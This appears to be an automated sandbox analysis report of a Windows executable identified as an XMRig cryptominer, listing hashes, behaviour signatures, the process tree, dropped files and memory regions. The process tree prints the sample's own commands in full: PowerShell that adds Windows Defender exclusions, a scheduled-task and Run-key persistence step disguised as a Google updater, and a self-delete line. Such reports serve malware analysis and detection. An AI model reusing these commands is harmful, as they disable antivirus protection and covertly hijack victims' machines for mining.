Resubmissions

11/02/2025, 16:33

250211-t2ztsstkey 10

11/02/2025, 16:33

250211-t2zh2atkex 10

11/02/2025, 16:33

250211-t2yxhatkew 10

11/02/2025, 16:33

250211-t2nrjasqdk 10

24/10/2024, 20:12

241024-yyvg5asemn 10

24/10/2024, 20:11

241024-yygk9ssemk 10

24/10/2024, 20:11

241024-yygahasemj 10

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241024-yyd55sselq 10

24/10/2024, 20:08

241024-yw247asdqp 10

24/10/2024, 20:08

241024-yw1lcssdqn 10

Analysis

  • max time kernel
    899s
  • max time network
    902s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250211-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/02/2025, 16:33

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3484
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2056
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3728
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1608
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2336
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:1392
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:684
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:3048
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3084
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4880
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:4632
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:3992
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2544
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:2180
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4408
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3528

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            77d622bb1a5b250869a3238b9bc1402b

            SHA1

            d47f4003c2554b9dfc4c16f22460b331886b191b

            SHA256

            f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

            SHA512

            d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            20aae97ec7701ae2cfb4725dde571925

            SHA1

            3e7b561a7faa92d6c525ffbceac6aaeeaaf54022

            SHA256

            239b3511f380150275b1a227d30a34c2522f0fbfc8df4e8dea0212bd4fad2f5b

            SHA512

            89dc6335043536bdebc818d814201e90c47b5590f890e631f2399a8dbd6f02dc13d271c6077df4dec7f3315ee8f95785b2401fee94497e708766afac76c04744

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rllemhiv.fv0.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            bdb25c22d14ec917e30faf353826c5de

            SHA1

            6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

            SHA256

            e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

            SHA512

            b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            b42c70c1dbf0d1d477ec86902db9e986

            SHA1

            1d1c0a670748b3d10bee8272e5d67a4fabefd31f

            SHA256

            8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

            SHA512

            57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

          • memory/1608-17-0x00007FF8A51C0000-0x00007FF8A5C81000-memory.dmp

            Filesize

            10.8MB

          • memory/1608-18-0x00007FF8A51C0000-0x00007FF8A5C81000-memory.dmp

            Filesize

            10.8MB

          • memory/1608-29-0x00007FF8A51C0000-0x00007FF8A5C81000-memory.dmp

            Filesize

            10.8MB

          • memory/1608-30-0x00007FF8A51C0000-0x00007FF8A5C81000-memory.dmp

            Filesize

            10.8MB

          • memory/1608-32-0x00007FF8A51C0000-0x00007FF8A5C81000-memory.dmp

            Filesize

            10.8MB

          • memory/2056-34-0x00007FF62E4E0000-0x00007FF62E6F1000-memory.dmp

            Filesize

            2.1MB

          • memory/2056-0-0x00007FF62E4E0000-0x00007FF62E6F1000-memory.dmp

            Filesize

            2.1MB

          • memory/3084-69-0x000001D2F0C00000-0x000001D2F0C1C000-memory.dmp

            Filesize

            112KB

          • memory/3084-71-0x000001D2F0C40000-0x000001D2F0C5A000-memory.dmp

            Filesize

            104KB

          • memory/3084-74-0x000001D2F0C30000-0x000001D2F0C3A000-memory.dmp

            Filesize

            40KB

          • memory/3084-73-0x000001D2F0C20000-0x000001D2F0C26000-memory.dmp

            Filesize

            24KB

          • memory/3084-66-0x000001D2F09B0000-0x000001D2F09CC000-memory.dmp

            Filesize

            112KB

          • memory/3084-67-0x000001D2F09D0000-0x000001D2F0A85000-memory.dmp

            Filesize

            724KB

          • memory/3084-68-0x000001D2F0A90000-0x000001D2F0A9A000-memory.dmp

            Filesize

            40KB

          • memory/3084-72-0x000001D2F0BF0000-0x000001D2F0BF8000-memory.dmp

            Filesize

            32KB

          • memory/3084-70-0x000001D2F0BE0000-0x000001D2F0BEA000-memory.dmp

            Filesize

            40KB

          • memory/3528-47-0x00007FF766D10000-0x00007FF766F21000-memory.dmp

            Filesize

            2.1MB

          • memory/3528-102-0x00007FF766D10000-0x00007FF766F21000-memory.dmp

            Filesize

            2.1MB

          • memory/3728-16-0x00007FF8A51C0000-0x00007FF8A5C81000-memory.dmp

            Filesize

            10.8MB

          • memory/3728-13-0x00007FF8A51C0000-0x00007FF8A5C81000-memory.dmp

            Filesize

            10.8MB

          • memory/3728-15-0x0000022943A90000-0x0000022943CAC000-memory.dmp

            Filesize

            2.1MB

          • memory/3728-12-0x00007FF8A51C0000-0x00007FF8A5C81000-memory.dmp

            Filesize

            10.8MB

          • memory/3728-11-0x0000022943A00000-0x0000022943A22000-memory.dmp

            Filesize

            136KB

          • memory/3728-1-0x00007FF8A51C3000-0x00007FF8A51C5000-memory.dmp

            Filesize

            8KB

          • memory/4408-106-0x0000013697520000-0x0000013697540000-memory.dmp

            Filesize

            128KB

          • memory/4408-133-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-108-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-165-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-109-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-111-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-163-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-113-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-115-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-117-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-119-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-121-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-123-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-125-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-127-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-129-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-131-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-101-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-135-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-137-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-139-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-141-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-143-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-145-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-147-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-149-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-151-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-153-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-155-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-157-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-159-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4408-161-0x00007FF721660000-0x00007FF721E54000-memory.dmp

            Filesize

            8.0MB

          • memory/4632-112-0x00007FF613480000-0x00007FF613496000-memory.dmp

            Filesize

            88KB

          • memory/4632-107-0x00007FF613480000-0x00007FF613496000-memory.dmp

            Filesize

            88KB